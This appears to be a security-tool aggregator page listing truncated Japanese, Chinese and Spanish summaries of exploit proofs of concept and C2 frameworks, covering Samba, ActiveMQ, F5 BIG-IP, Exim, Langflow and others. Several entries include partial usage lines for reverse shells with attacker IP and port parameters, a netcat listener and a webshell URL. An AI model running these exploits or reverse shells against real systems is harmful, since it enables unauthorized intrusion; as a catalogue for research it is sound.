CVE-2007-2447

CVE-2007-2447 - username map script 「Samba 3.0.0から3.0.25rc3のsmbdにおけるMS-RPC機能は、リモートの攻撃者がshellメタ文字を使用して任意のコマンドを実行することを可能にします。これは1 SamrChangePassword関数を含み、smb.confオプション「username map script」が有効な場合に発生します。また、リモートの認証済みユーザーが2 リモートプリンタおよび3 ファイル共有管理における他のMS-RPC関数でshellメタ文字を使用してコマンドを実行することも可能にします。」 エクスプロイト...

CVE-2024-49653

📜 WordPress Portfolleo プラグイン エクスプロイト CVE-2024-49653 🚨 脆弱性の詳細 タイトル: WordPress Portfolleo プラグイン = 1.2 - 任意ファイルアップロードの脆弱性 説明: James Eggers の Portfolleo portfolleo における危険なタイプのファイルの制限なしアップロードの脆弱性により、Web サーバーに Web シェルをアップロードできます。この問題は Portfolleo のバージョン n/a から 1.2 に影響します。 詳細情報: CWE-434:...

Pluck-CMS-v4.7.18-Remote-Code-Execution-CVE-2023-50564

CVE-2023-50564 - Pluck CMS v4.7.18 远程代码执行漏洞利用 描述 该脚本利用了 Pluck CMS v4.7.18 中的远程代码执行漏洞。该漏洞允许恶意用户上传恶意 PHP 文件到服务器并执行，从而在目标机器上获得远程命令执行权限。 脚本自动完成整个过程： 1. 使用提供的凭据登录 Pluck CMS 管理面板。 2. 上传包含恶意反向 Shell PHP 脚本的 ZIP 文件。 3. 执行 PHP 反向 Shell，使攻击者获得对目标机器的远程访问。 注意： 脚本需要在攻击者机器上设置 Netcat 监听器以接收反向 Shell。 先决条件...

CVE-2023-33733-Exploit-PoC

CVE-2023-33733-POC 免責事項 私はこの脆弱性を発見したわけでも、その功績を主張するわけでもありません。これは、CTFでこの脆弱性をより簡単に悪用するために作成した単なるスクリプトです。 元の情報については、https://github.com/c53elyas/CVE-2023-33733 を参照してください。 このスクリプトは、CVE-2023-33733 を悪用するための簡単な Python3 スクリプトです。ホスト、ポート、コマンド、および有効なセッション Cookie を指定する必要があります。 ヘルプメニュー root@kitploit:...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604は、CISAのKEVリストに掲載されている広く悪用されている脆弱性です。このgo-exploit実装は、Nashornペイロードを使用してターゲット上でリバースシェルを実行するか、バイナリをターゲットにダウンロードして実行することができます。 コンパイル Dockerイメージにエクスプロイトをビルドするには、以下のようにします： root@kitploit: make docker Goのビルド環境があれば、makeコマンドだけでも利用できます： root@kitploit:...

CVE-2022-1388

CVE-2022-1388 RCE、リバースシェル、および PCAP 自動エクスポート -- 教育目的のみに使用 -- 著者は、このプロジェクト/リポジトリのいかなる側面を用いて行われた行動についても責任を負いません。私は、攻撃の理解と SIEM 内での検知ルール作成を目的としてこれを作成し、他の人にも同じことをしてもらえるよう共有したいと思いました。使用は自己責任です。 このエクスプロイトは、F5 Systems の BIG-IP iControl REST の脆弱性 CVE-2022-1388 を対象としています。影響を受けるバージョンやその他の情報については、F5 のアドバイザリ...

CVE-2015-3306-Home-Lab

ProFTPD 1.3.5 modcopy — RCE シミュレーションラボ このラボは、CVE-2015-3306 — ProFTPD modcopy Remote File Copy to RCE の脆弱性をシミュレートするために設計されています。 ProFTPD の modcopy モジュールを介した Web Shell Injection RCE の学習用です。 特徴 脆弱性のある ProFTPD 1.3.5 modcopy をフルで有効化 SITE CPFR / SITE CPTO Anonymous FTP に対応 Web ルート /var/www/html を再現する...

TornadoRevC2

TornadoRevC2 一个轻量级、模块化的后渗透框架，用于授权安全研究、红队行动和渗透测试。TornadoRevC2 通过统一的操作员控制台管理 Linux 和 Windows 主机上的反向 shell 会话，并通过跨平台插件架构扩展核心会话处理能力，用于主机枚举、态势感知和操作任务。 重要提示： TornadoRevC2 是一个会话处理器和后渗透框架——而非信标式命令与控制平台。它优先考虑可靠的交互式 shell、结构化的操作员工作流和按需插件执行，而非持久化代理基础设施。 法律声明 仅在你拥有的系统上或你拥有明确书面授权...

From-EternalBlue-to-CVE-2025-2776-The-Evolution-of-an-SMB-Attack

EternalBlueからCVE-2025-2776へ：SMB攻撃の進化 2017年に世界を震撼させた攻撃は、今日のCVE‑2025‑2776へと進化しました。Microsoftは今もSMBv1に依存しており、この記事では、攻撃者が単純なDLLから完全なリバースシェルスタックへと攻撃チェーンをどのように改良してきたのか、そしてそれが防御側にとって何を意味するのかを説明します。 簡単な歴史の振り返り...

CVE-2019-15715

CVE-2019-15715 このリポジトリは、CVE-2019-15715 のPython3実装であり、Nikolas Geiselman によって以前 こちら で報告されたCVE-2019-15715の改善のみに焦点を当て、スクリプトをより柔軟にするためにPythonのパラメータ実装を追加することを目的としています。 root@kitploit: python3 CVE-2019-15715.py -rh $TARGETIP -rp $TARGETPORT -lh $ATTACKERIP -lp $ATTACKERPORT -u $USER -p $PSW -e $ENDPOINT...

SSRFX

CVE-2014-4210+Redis不正アクセス インストール root@kitploit: pip install -r requirements.txt 使用方法 root@kitploit: usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional argument...

CVE-2017-12617

はじめに このProof Of Conceptの目的は、CVE-2017-12617を利用してApache Tomcatサーバーをリモート制御する方法を示すことです。 手順 1. サーバーを起動するには、以下のコマンドを実行してください。 make serverup 2. 攻撃を実行し、サーバーにWebシェルをアップロードするには、以下のコマンドを実行してください（cURLが必要です）。 make attack このコマンドでブラウザが開かない場合は、以下のURLにアクセスしてください： http://localhost:8080/webshell.jsp?cmd=pwd...

cve-2020-14008

Exploit CVE-2020-14008 para ManageEngine ¿Qué es esto? Este script explota la CVE-2020-14008 en ManageEngine Applications Manager para obtener una reverse shell con privilegios SYSTEM. Requisitos root@kitploit: pip3 install requests urllib3 Cómo usarlo 1. Inicia un listener root@kitploit: nc -nlv...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell はじめに...

PoC_CVE-2019-10149--rce

概要 脆弱なeximサービスからシェルへのリモートコマンド実行。 脆弱なバージョンは4.87から4.91（両端を含む）です。https://nvd.nist.gov/vuln/detail/cve-2019-10149 を確認してください。 以下のスクリプトはQualysのPoCに基づいています。https://packetstormsecurity.com/files/153218/Exim-4.9.1-Remote-Command-Execution.html を確認してください。 例 2つのターミナルを推奨 root@kitploit: T1 $ nc -nlvp 1337 T2 ...

langflow-rce-exploit

Langflow RCE エクスプロイト CVE-2025-3248 Langflow 向けリモートコード実行エクスプロイト CVE-2025-3248 特徴 自動脆弱性検出 複数のエクスプロイトモード： 対話型シェル 単一コマンド実行 リバースシェル接続 ファイルアップロード機能 カラー化されたユーザーインターフェース 複数のリバースシェル手法 コマンド履歴の永続化 📌 変更履歴 v2.0 ✨ 新機能： 高度なペイロードシステム （5つの実行方法） ファイルアップロード/ダウンロード （Base64エンコーディング対応） 持続性 ：cronジョブによる永続化（persistコマンド）...

Heroinn

Heroinn RustによるクロスプラットフォームC2/ポストエクスプロイテーションフレームワークの実装。 このプロジェクトは研究・学習目的のみであり、このプロジェクトを使用した違法行為はこのプロジェクトとは一切関係ありません。 機能 GUI 対話型PTYシェル システム情報の収集 ファイルマネージャー（中断した転送の再開と大容量ファイルに対応） Win10+（Windows Server 2019+）および Linux・BSD・OSX をサポート 複数の通信プロトコル（TCP・HTTP・信頼性の高いUDP） 予定 ドキュメント コンパイル方法 使い方 リバースSOCKS5プロキシ対応...

PyHmmm

PyHmmm これは何ですか？ これはPythonで書かれたHavoc C2用のサードパーティエージェントです。カスタムHavocエージェントの書き方を学ぶための基本的なPoCを意図しており、付随するブログ記事は https://codex-7.gitbook.io/codexs-terminal-window/red-team/red-team-dev/extending-havoc-c2/third-party-agents です。 機能 現在、サポートしているコマンドは2つだけです： shell system command exit これは OPSEC...

FShell

FShell 描述 FShell 是我实现的一个正向 Shell（Forward Shell）。它旨在通过无状态协议（例如 HTTP）利用远程代码执行来获得交互式 tty。 为什么我应该使用正向 Shell？ 远程服务器无法访问互联网，因此无法使用反向 Shell 我不希望服务器发起新的出站连接或暴露新服务（只使用易受攻击的已暴露服务） 然而，它也有缺点 每秒会产生大量请求（如果是 Web 服务器，会生成大量访问日志） 并非完全交互式：没有自动补全（理论上可以实现，但会产生大量请求），请记住，你的输入会先发送到 python 脚本，再发送到远程服务器。 可以通过修改...

DirCreate2System

DirCreate2System Windows エラー報告を利用した特権ディレクトリ作成バグから NT AUTHORITY\SYSTEM を取得するための武器化 簡単な説明: システムディレクトリには存在しない comctl32.dll が、schtasks の実行による Windows エラー報告を介して wermgr.exe によって読み込まれることを発見しました。つまり、フルアクセス許可 ACL で C:\windows\system32\wermgr.exe.local という名前のフォルダを作成できれば、そのフォルダ内の comctl32.dll...